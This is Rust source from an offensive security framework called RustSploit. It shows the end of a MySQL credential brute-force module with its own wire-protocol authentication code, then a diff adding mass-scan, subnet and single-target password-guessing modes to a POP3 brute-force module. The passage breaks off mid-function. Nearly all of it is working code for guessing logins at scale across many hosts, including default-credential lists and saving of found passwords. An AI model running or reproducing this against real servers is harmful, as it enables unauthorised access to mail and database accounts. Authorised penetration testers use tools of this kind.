match try_mysql_auth(&addr, &user, &pass).await {
MysqlResult::Success => LoginResult::Success,
MysqlResult::AuthFailed => LoginResult::AuthFailed,
MysqlResult::ConnectionError(e) => LoginResult::Error {
message: e,
retryable: true,
},
MysqlResult::ProtocolError(e) => LoginResult::Error {
message: e,
retryable: false,
},
}
},
)
.await;
}
// --- Single Target Mode ---
let port: u16 = cfg_prompt_port("port", "MySQL Port", DEFAULT_MYSQL_PORT).await?;
let use_defaults =
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
let usernames_file =
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
} else {
None
};
let passwords_file =
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
} else {
None
};
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
return Err(anyhow!(
"At least one wordlist or default credentials must be enabled"
));
}
let concurrency: usize = {
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
input.parse::<usize>().unwrap_or(10).max(1).min(256)
};
let stop_on_success =
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(
cfg_prompt_output_file("output_file", "Output file", "mysql_brute_results.txt").await?,
)
} else {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let retry_on_error =
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
let max_retries: usize = if retry_on_error {
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
input.parse::<usize>().unwrap_or(2).max(1).min(10)
} else {
0
};
// Load wordlists
let mut usernames = Vec::new();
if let Some(ref file) = usernames_file {
usernames = load_lines(file)?;
if usernames.is_empty() {
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
} else {
crate::mprintln!(
"{}",
format!("[*] Loaded {} usernames", usernames.len()).green()
);
}
}
let mut passwords = Vec::new();
if let Some(ref file) = passwords_file {
passwords = load_lines(file)?;
if passwords.is_empty() {
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
} else {
crate::mprintln!(
"{}",
format!("[*] Loaded {} passwords", passwords.len()).green()
);
}
}
// Add default credentials if requested
if use_defaults {
for (user, pass) in DEFAULT_CREDENTIALS {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
crate::mprintln!(
"{}",
format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green()
);
}
if usernames.is_empty() {
return Err(anyhow!("No usernames available"));
}
if passwords.is_empty() {
return Err(anyhow!("No passwords available"));
}
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
crate::mprintln!(
"\n{}",
format!(
"[*] Starting MySQL brute-force on {}:{} ({} combos, {} threads)",
target,
port,
combos.len(),
concurrency
)
.cyan()
);
let try_login = move |t: String, p: u16, user: String, pass: String| async move {
let addr = normalize_target(&format!("{}:{}", t, p))
.unwrap_or_else(|_| format!("{}:{}", t, p));
match try_mysql_auth(&addr, &user, &pass).await {
MysqlResult::Success => LoginResult::Success,
MysqlResult::AuthFailed => LoginResult::AuthFailed,
MysqlResult::ConnectionError(e) => LoginResult::Error {
message: e,
retryable: true,
},
MysqlResult::ProtocolError(e) => LoginResult::Error {
message: e,
retryable: false,
},
}
};
let result = run_bruteforce(
&BruteforceConfig {
target: target.to_string(),
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 0,
max_retries,
service_name: "mysql",
jitter_ms: 50,
source_module: "creds/generic/mysql_credcheck",
},
combos,
try_login,
)
.await?;
result.print_found();
if let Some(ref path) = save_path {
result.save_to_file(path)?;
}
// Unknown / errored attempts
if !result.errors.is_empty() {
crate::mprintln!(
"{}",
format!(
"[?] Collected {} unknown/errored MySQL responses.",
result.errors.len()
)
.yellow()
.bold()
);
if cfg_prompt_yes_no(
"save_unknown_responses",
"Save unknown responses to file?",
true,
)
.await?
{
let default_name = "mysql_unknown_responses.txt";
let fname = cfg_prompt_output_file(
"unknown_responses_file",
"What should the unknown results be saved as?",
default_name,
)
.await?;
let filename = get_filename_in_current_dir(&fname);
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
match opts.open(&filename) {
Ok(mut file) => {
writeln!(
file,
"# MySQL Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in &result.errors {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
file.flush()?;
crate::mprintln!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
crate::mprintln!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
)
.red()
);
}
}
}
}
Ok(())
}
// ============================================================================
// MySQL Wire Protocol Implementation
// ============================================================================
#[derive(Debug)]
enum MysqlResult {
Success,
AuthFailed,
ConnectionError(String),
ProtocolError(String),
}
/// Read a MySQL packet: 3-byte length (LE) + 1-byte sequence + payload.
async fn read_mysql_packet(stream: &mut TcpStream) -> Result<(u8, Vec<u8>)> {
let mut header = [0u8; 4];
tokio::time::timeout(Duration::from_millis(READ_TIMEOUT_MS), stream.read_exact(&mut header))
.await
.map_err(|_| anyhow!("Timeout reading MySQL packet header"))?
.map_err(|e| anyhow!("Failed to read packet header: {}", e))?;
let length = (header[0] as u32) | ((header[1] as u32) << 8) | ((header[2] as u32) << 16);
let seq = header[3];
if length > 65_536 {
return Err(anyhow!("MySQL packet too large: {} bytes", length));
}
let mut payload = vec![0u8; length as usize];
tokio::time::timeout(
Duration::from_millis(READ_TIMEOUT_MS),
stream.read_exact(&mut payload),
)
.await
.map_err(|_| anyhow!("Timeout reading MySQL packet payload"))?
.map_err(|e| anyhow!("Failed to read packet payload: {}", e))?;
Ok((seq, payload))
}
/// Write a MySQL packet with the given sequence number.
async fn write_mysql_packet(stream: &mut TcpStream, seq: u8, payload: &[u8]) -> Result<()> {
let len = payload.len() as u32;
let header = [
(len & 0xFF) as u8,
((len >> 8) & 0xFF) as u8,
((len >> 16) & 0xFF) as u8,
seq,
];
stream
.write_all(&header)
.await
.map_err(|e| anyhow!("Failed to write packet header: {}", e))?;
stream
.write_all(payload)
.await
.map_err(|e| anyhow!("Failed to write packet payload: {}", e))?;
stream
.flush()
.await
.map_err(|e| anyhow!("Failed to flush: {}", e))?;
Ok(())
}
/// Parse the HandshakeV10 greeting to extract the 20-byte auth salt (scramble).
fn parse_handshake_v10(payload: &[u8]) -> Result<Vec<u8>> {
if payload.is_empty() {
return Err(anyhow!("Empty handshake packet"));
}
// Check for ERR packet (server rejected connection immediately)
if payload[0] == 0xFF {
let msg = if payload.len() > 3 {
String::from_utf8_lossy(&payload[3..]).to_string()
} else {
"Unknown error".to_string()
};
return Err(anyhow!("Server error: {}", msg));
}
if payload[0] != MYSQL_PROTOCOL_V10 {
return Err(anyhow!(
"Unsupported MySQL protocol version: {}",
payload[0]
));
}
// Skip protocol version (1 byte)
let mut pos = 1;
// Skip server version string (null-terminated)
while pos < payload.len() && payload[pos] != 0 {
pos += 1;
}
pos += 1; // skip null terminator
if pos + 4 > payload.len() {
return Err(anyhow!("Handshake too short (no thread id)"));
}
// Skip thread id (4 bytes)
pos += 4;
// auth_plugin_data_part_1: 8 bytes
if pos + 8 > payload.len() {
return Err(anyhow!("Handshake too short (no salt part 1)"));
}
let salt_part1 = &payload[pos..pos + 8];
pos += 8;
// Skip filler (1 byte)
pos += 1;
// Skip capability_flags_lower (2 bytes)
if pos + 2 > payload.len() {
// Some very old servers may stop here; we only have 8-byte salt
return Ok(salt_part1.to_vec());
}
pos += 2;
// Skip character_set (1 byte), status_flags (2 bytes), capability_flags_upper (2 bytes)
if pos + 5 > payload.len() {
return Ok(salt_part1.to_vec());
}
pos += 5;
// auth_plugin_data_len or 0 (1 byte)
if pos >= payload.len() {
return Ok(salt_part1.to_vec());
}
let auth_data_len = payload[pos] as usize;
pos += 1;
// Skip reserved (10 bytes)
if pos + 10 > payload.len() {
return Ok(salt_part1.to_vec());
}
pos += 10;
// auth_plugin_data_part_2: max(13, auth_data_len - 8) bytes
// We need at least 12 more bytes to get the full 20-byte scramble
let part2_len = if auth_data_len > 8 {
(auth_data_len - 8).max(12)
} else {
12
};
let available = payload.len().saturating_sub(pos);
let take = part2_len.min(available);
let salt_part2 = &payload[pos..pos + take];
// Combine: salt_part1 (8) + salt_part2 (up to 12, strip trailing null)
let mut salt = salt_part1.to_vec();
for &b in salt_part2 {
if b == 0 {
break;
}
salt.push(b);
}
Ok(salt)
}
/// Compute mysql_native_password auth response.
///
/// auth_response = SHA1(password) XOR SHA1(scramble + SHA1(SHA1(password)))
///
/// For empty passwords, returns an empty Vec (no auth data).
fn compute_native_auth(password: &str, scramble: &[u8]) -> Vec<u8> {
if password.is_empty() {
return Vec::new();
}
// SHA1(password)
let sha1_pass = {
let mut h = Sha1::new();
h.update(password.as_bytes());
h.finalize()
};
// SHA1(SHA1(password))
let sha1_sha1_pass = {
let mut h = Sha1::new();
h.update(&sha1_pass);
h.finalize()
};
// SHA1(scramble + SHA1(SHA1(password)))
let sha1_scramble_double = {
let mut h = Sha1::new();
h.update(scramble);
h.update(&sha1_sha1_pass);
h.finalize()
};
// XOR: SHA1(password) ^ SHA1(scramble + SHA1(SHA1(password)))
sha1_pass
.iter()
.zip(sha1_scramble_double.iter())
.map(|(a, b)| a ^ b)
.collect()
}
/// Build the HandshakeResponse41 packet payload.
fn build_handshake_response(username: &str, auth_response: &[u8], database: &str) -> Vec<u8> {
let mut buf = Vec::with_capacity(128);
// client_flag (4 bytes)
let flags: u32 = CLIENT_PROTOCOL_41 | CLIENT_SECURE_CONNECTION | CLIENT_PLUGIN_AUTH;
buf.extend_from_slice(&flags.to_le_bytes());
// max_packet_size (4 bytes)
buf.extend_from_slice(&MAX_PACKET_SIZE.to_le_bytes());
// character_set (1 byte)
buf.push(CHARSET_UTF8);
// reserved (23 zero bytes)
buf.extend_from_slice(&[0u8; 23]);
// username (null-terminated)
buf.extend_from_slice(username.as_bytes());
buf.push(0);
// auth_response length-encoded
if auth_response.is_empty() {
buf.push(0);
} else {
buf.push(auth_response.len() as u8);
buf.extend_from_slice(auth_response);
}
// database (null-terminated) -- omit for now; not all servers require it
if !database.is_empty() {
buf.extend_from_slice(database.as_bytes());
buf.push(0);
}
// auth plugin name (null-terminated)
buf.extend_from_slice(b"mysql_native_password");
buf.push(0);
buf
}
/// Attempt MySQL authentication against a target address.
async fn try_mysql_auth(addr: &str, username: &str, password: &str) -> MysqlResult {
// TCP connect with timeout
let mut stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
Ok(s) => s,
Err(e) => return MysqlResult::ConnectionError(format!("Connect failed: {}", e)),
};
// Read server greeting (HandshakeV10)
let (_seq, greeting) = match read_mysql_packet(&mut stream).await {
Ok(p) => p,
Err(e) => return MysqlResult::ProtocolError(format!("Failed to read greeting: {}", e)),
};
// Parse the greeting to extract the scramble (salt)
let scramble = match parse_handshake_v10(&greeting) {
Ok(s) => s,
Err(e) => return MysqlResult::ProtocolError(format!("Handshake parse error: {}", e)),
};
// Compute auth response
let auth_response = compute_native_auth(password, &scramble);
// Build and send HandshakeResponse41
let response_payload = build_handshake_response(username, &auth_response, "");
if let Err(e) = write_mysql_packet(&mut stream, 1, &response_payload).await {
return MysqlResult::ConnectionError(format!("Failed to send auth: {}", e));
}
// Read server response
let (_seq, response) = match read_mysql_packet(&mut stream).await {
Ok(p) => p,
Err(e) => {
return MysqlResult::ConnectionError(format!("Failed to read auth response: {}", e))
}
};
if response.is_empty() {
return MysqlResult::ProtocolError("Empty auth response from server".to_string());
}
match response[0] {
0x00 => MysqlResult::Success, // OK packet
0xFE => MysqlResult::AuthFailed, // EOF / auth switch request (treat as failure)
0xFF => {
// ERR packet: skip error code (2 bytes) + sql_state marker + state (5 bytes)
let msg = if response.len() > 9 {
String::from_utf8_lossy(&response[9..]).to_string()
} else if response.len() > 3 {
String::from_utf8_lossy(&response[3..]).to_string()
} else {
"Unknown error".to_string()
};
// MySQL error 1045 = Access denied
if msg.contains("Access denied") || (response.len() > 2 && response[1] == 0x15 && response[2] == 0x04) {
MysqlResult::AuthFailed
} else {
MysqlResult::ProtocolError(msg)
}
}
other => MysqlResult::ProtocolError(format!("Unexpected response type: 0x{:02X}", other)),
}
}
+352 -196
View File
@@ -1,223 +1,379 @@
use anyhow::{Result, Context};
use regex::Regex;
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write, Read};
use std::net::{TcpStream, ToSocketAddrs};
use std::sync::{Arc, Mutex};
use std::time::Duration;
use threadpool::ThreadPool;
use crossbeam_channel::unbounded;
use anyhow::{anyhow, Result};
use colored::*;
use native_tls::TlsConnector;
use std::net::IpAddr;
use std::time::Duration;
#[derive(Clone)]
struct Pop3BruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
use_ssl: bool,
use crate::utils::{
load_lines,
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
};
use crate::utils::{
BruteforceConfig, LoginResult, SubnetScanConfig,
generate_combos_mode, parse_combo_mode, load_credential_file,
run_bruteforce, run_subnet_bruteforce,
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
backoff_delay,
};
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "POP3 Brute Force".to_string(),
description: "Brute-force POP3 authentication with SSL/TLS support. Tests credentials against POP3 mail servers with combo mode, retry logic, and subnet/mass scanning.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
// ============================================================================
// Error Classification
// ============================================================================
#[derive(Debug, Clone, PartialEq)]
enum Pop3ErrorType {
AuthenticationFailed,
ConnectionRefused,
ConnectionTimeout,
TlsError,
Unknown,
}
impl Pop3ErrorType {
/// Classify a POP3 error from its message string for smarter retry decisions.
fn classify_error(msg: &str) -> Self {
let lower = msg.to_lowercase();
if lower.contains("authentication")
|| lower.contains("login")
|| lower.contains("-err")
|| lower.contains("invalid credential")
|| lower.contains("bad password")
{
Self::AuthenticationFailed
} else if lower.contains("refused")
|| lower.contains("reset")
|| lower.contains("broken pipe")
{
Self::ConnectionRefused
} else if lower.contains("timeout")
|| lower.contains("timed out")
|| lower.contains("deadline")
{
Self::ConnectionTimeout
} else if lower.contains("tls")
|| lower.contains("ssl")
|| lower.contains("certificate")
|| lower.contains("handshake")
{
Self::TlsError
} else {
Self::Unknown
}
}
/// Whether this error type is worth retrying.
fn is_retryable(&self) -> bool {
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
}
fn description(&self) -> &'static str {
match self {
Self::AuthenticationFailed => "Authentication failed",
Self::ConnectionRefused => "Connection refused/reset",
Self::ConnectionTimeout => "Connection timed out",
Self::TlsError => "TLS/SSL error",
Self::Unknown => "Unknown error",
}
}
}
#[derive(Debug)]
struct Pop3Error {
error_type: Pop3ErrorType,
message: String,
}
impl std::fmt::Display for Pop3Error {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "[{}] {}", self.error_type.description(), self.message)
}
}
impl std::error::Error for Pop3Error {}
impl Pop3Error {
fn from_anyhow(err: anyhow::Error) -> Self {
let msg = err.to_string();
let error_type = Pop3ErrorType::classify_error(&msg);
Self { error_type, message: msg }
}
}
pub async fn run(target: &str) -> Result<()> {
println!("\n=== POP3 Bruteforce ===\n");
let port = prompt("Port (default 110 for POP3, 995 for POP3S): ").parse().unwrap_or(110);
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Threads (default 16): ").parse().unwrap_or(16);
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
let use_ssl = prompt("Use SSL/TLS (POP3S)? (y/n): ").trim().eq_ignore_ascii_case("y");
let config = Pop3BruteforceConfig {
target: target.to_string(),
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
use_ssl,
};
run_pop3_bruteforce(config)
}
crate::mprintln!("\n{}", "=== POP3 Bruteforce Module (RustSploit) ===".bold().cyan());
crate::mprintln!();
fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
let addr = normalize_target(&config.target, config.port)?;
let host = get_hostname(&config.target);
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
return Err(anyhow::anyhow!("Empty user or pass wordlist."));
}
let found = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(Mutex::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
} else if usernames.len() == 1 {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
} else if passwords.len() == 1 {
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
} else {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
}
drop(tx);
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let host = host.clone();
let stop_flag = Arc::clone(&stop_flag);
let found = Arc::clone(&found);
let config = config.clone();
pool.execute(move || {
while let Ok((user, pass)) = rx.recv() {
if *stop_flag.lock().unwrap() { break; }
if config.verbose { println!("[*] Trying {}:{}", user, pass); }
let result = if config.use_ssl {
try_pop3s_login_verbose(&addr, &host, &user, &pass, config.verbose)
} else {
try_pop3_login_verbose(&addr, &user, &pass, config.verbose)
};
match result {
Ok(true) => {
println!();
println!("[+] VALID: {}:{}", user, pass);
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
if config.stop_on_success {
*stop_flag.lock().unwrap() = true;
while rx.try_recv().is_ok() {}
break;
// --- Mass Scan Mode ---
if is_mass_scan_target(target) {
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
let use_ssl = cfg_prompt_yes_no("use_ssl", "Use SSL/TLS (POP3S)?", false).await?;
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = std::sync::Arc::new(load_lines(&usernames_file)?);
let passes = std::sync::Arc::new(load_lines(&passwords_file)?);
if users.is_empty() { return Err(anyhow!("User list empty")); }
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
return run_mass_scan(target, MassScanConfig {
protocol_name: "POP3",
default_port: if use_ssl { 995 } else { 110 },
state_file: "pop3_hose_state.log",
default_output: "pop3_mass_results.txt",
default_concurrency: 500,
}, move |ip: IpAddr, port: u16| {
let users = users.clone();
let passes = passes.clone();
async move {
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
return None;
}
let target_str = ip.to_string();
for user in users.iter() {
for pass in passes.iter() {
let mut retry_attempt: u32 = 0;
let max_retries: u32 = 3;
let mut should_skip_host = false;
loop {
let t = target_str.clone();
let u = user.clone();
let p = pass.clone();
let res = tokio::task::spawn_blocking(move || {
attempt_pop3_login(&t, port, &u, &p, use_ssl, 5)
}).await;
match res {
Ok(Ok(true)) => {
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
let line = format!("[{}] {}:{}:{}:{}\n", now, ip, port, user, pass);
crate::mprintln!("\r{}", format!("[+] FOUND: {}:{}:{}:{}", ip, port, user, pass).green().bold());
return Some(line);
}
Ok(Ok(false)) => break, // auth failed, try next credential
Ok(Err(e)) => {
if e.error_type.is_retryable() && retry_attempt < max_retries {
retry_attempt += 1;
let delay = backoff_delay(500, retry_attempt, 8);
tokio::time::sleep(delay).await;
continue;
}
should_skip_host = true;
break;
}
Err(_) => {
should_skip_host = true;
break;
}
}
}
if should_skip_host {
return None;
}
}
Ok(false) => {}
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
}
None
}
}).await;
}
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
let use_ssl = cfg_prompt_yes_no("use_ssl", "Use SSL/TLS (POP3S)?", false).await?;
let default_port = if use_ssl { 995 } else { 110 };
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output result file", "pop3_subnet_results.txt").await?;
let connection_timeout: u64 = 5;
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "pop3",
jitter_ms: 50,
source_module: "creds/generic/pop3_credcheck",
skip_tcp_check: false,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
async move {
let target_str = ip.to_string();
let res = tokio::task::spawn_blocking(move || {
attempt_pop3_login(&target_str, port, &user, &pass, use_ssl, connection_timeout)
}).await;
match res {
Ok(Ok(true)) => LoginResult::Success,
Ok(Ok(false)) => LoginResult::AuthFailed,
Ok(Err(e)) => LoginResult::Error {
message: e.message,
retryable: e.error_type.is_retryable(),
},
Err(e) => LoginResult::Error {
message: format!("Task panic: {}", e),
retryable: false,
},
}
}
});
}).await;
}
pool.join();
let found = found.lock().unwrap();
if found.is_empty() {
println!("[-] No valid credentials.");
// --- Single Target Mode ---
let use_ssl = cfg_prompt_yes_no("use_ssl", "Use SSL/TLS (POP3S)?", false).await?;
let default_port = if use_ssl { 995 } else { 110 };
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
let username_wordlist = cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
let password_wordlist = cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
let threads = cfg_prompt_int_range("threads", "Threads", 16, 1, 256).await? as usize;
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 10000).await? as u64;
let connection_timeout = cfg_prompt_int_range("timeout", "Timeout (s)", 5, 1, 60).await? as u64;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid login?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output file for results", "pop3_results.txt").await?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry failed connections?", true).await?;
let max_retries = if retry_on_error {
cfg_prompt_int_range("max_retries", "Max retries", 2, 1, 10).await? as usize
} else {
println!();
println!("[+] Found:");
for (u,p) in found.iter() { println!("{}:{}", u, p); }
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
let f = prompt("Filename: ");
save_results(&f, &found)?;
println!("[+] Saved to {}", f);
}
0
};
let usernames = load_lines(&username_wordlist)?;
let passwords = load_lines(&password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
anyhow::bail!("Username or password list is empty — nothing to bruteforce");
}
crate::mprintln!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
crate::mprintln!();
crate::mprintln!("{}", "[Starting Attack]".bold().yellow());
crate::mprintln!();
let try_login = move |t: String, p: u16, user: String, pass: String| {
async move {
let res = tokio::task::spawn_blocking(move || {
attempt_pop3_login(&t, p, &user, &pass, use_ssl, connection_timeout)
}).await;
match res {
Ok(Ok(true)) => LoginResult::Success,
Ok(Ok(false)) => LoginResult::AuthFailed,
Ok(Err(e)) => LoginResult::Error {
message: e.message,
retryable: e.error_type.is_retryable(),
},
Err(e) => LoginResult::Error {
message: format!("Task panic: {}", e),
retryable: false,
},
}
}
};
let result = run_bruteforce(&BruteforceConfig {
target: target.to_string(),
port,
concurrency: threads,
stop_on_success,
verbose,
delay_ms,
max_retries,
service_name: "pop3",
jitter_ms: 50,
source_module: "creds/generic/pop3_credcheck",
}, combos, try_login).await?;
result.print_found();
result.save_to_file(&output_file)?;
Ok(())
}
// Standard POP3 login, plaintext
fn try_pop3_login_verbose(addr: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let mut stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
stream.set_read_timeout(Some(Duration::from_millis(4000))).ok();
stream.set_write_timeout(Some(Duration::from_millis(4000))).ok();
pop3_session(&mut stream, username, password, verbose)
}
/// POP3 login result: Ok(true) = authenticated, Ok(false) = auth rejected, Err = classified error.
/// Shared POP3 authentication logic for both SSL and plain connections.
fn pop3_authenticate(stream: &mut (impl std::io::Read + std::io::Write), user: &str, pass: &str) -> std::result::Result<bool, Pop3Error> {
let mut buffer = [0; 1024];
// Read banner
stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
// POP3S (SSL/TLS)
fn try_pop3s_login_verbose(addr: &str, host: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
let connector = TlsConnector::new().unwrap();
let mut stream = connector.connect(host, stream).context("SSL connect fail")?;
stream.get_ref().set_read_timeout(Some(Duration::from_millis(4000))).ok();
stream.get_ref().set_write_timeout(Some(Duration::from_millis(4000))).ok();
pop3_session(&mut stream, username, password, verbose)
}
// Shared POP3 session logic for both plain and SSL
fn pop3_session<S: Read + Write>(stream: &mut S, username: &str, password: &str, verbose: bool) -> Result<bool> {
let mut buf = [0u8; 4096];
// Banner
let n = stream.read(&mut buf)?;
let banner = String::from_utf8_lossy(&buf[..n]);
if verbose { print!("-> {}\n", banner.trim_end()); }
if !banner.to_ascii_lowercase().contains("+ok") {
return Err(anyhow::anyhow!("No +OK banner: {}", banner));
}
// USER
let user_cmd = format!("USER {}\r\n", username);
stream.write_all(user_cmd.as_bytes())?;
if verbose { print!("<- {}", user_cmd); }
let n = stream.read(&mut buf)?;
let resp = String::from_utf8_lossy(&buf[..n]);
if verbose { print!("-> {}\n", resp.trim_end()); }
if !resp.to_ascii_lowercase().contains("+ok") {
// Send USER
stream.write_all(format!("USER {}\r\n", user).as_bytes())
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
let n = stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
return Ok(false);
}
// PASS
let pass_cmd = format!("PASS {}\r\n", password);
stream.write_all(pass_cmd.as_bytes())?;
if verbose { print!("<- {}", pass_cmd); }
let n = stream.read(&mut buf)?;
let resp = String::from_utf8_lossy(&buf[..n]);
if verbose { print!("-> {}\n", resp.trim_end()); }
// Hardened login detection:
let reply = resp.to_ascii_lowercase();
if reply.contains("+ok")
&& !reply.contains("error")
&& !reply.contains("fail")
&& !reply.contains("denied")
&& !reply.contains("invalid")
&& !reply.contains("authentication required")
&& !reply.contains("locked") {
// Only consider true success if reply says +OK and has no error/fail/invalid/denied
if verbose {
stream.write_all(b"STAT\r\n").ok();
let n = stream.read(&mut buf).unwrap_or(0);
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
stream.write_all(b"LIST\r\n").ok();
let n = stream.read(&mut buf).unwrap_or(0);
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
stream.write_all(b"QUIT\r\n").ok();
let n = stream.read(&mut buf).unwrap_or(0);
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
} else {
stream.write_all(b"QUIT\r\n").ok();
}
// Send PASS
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
let n = stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
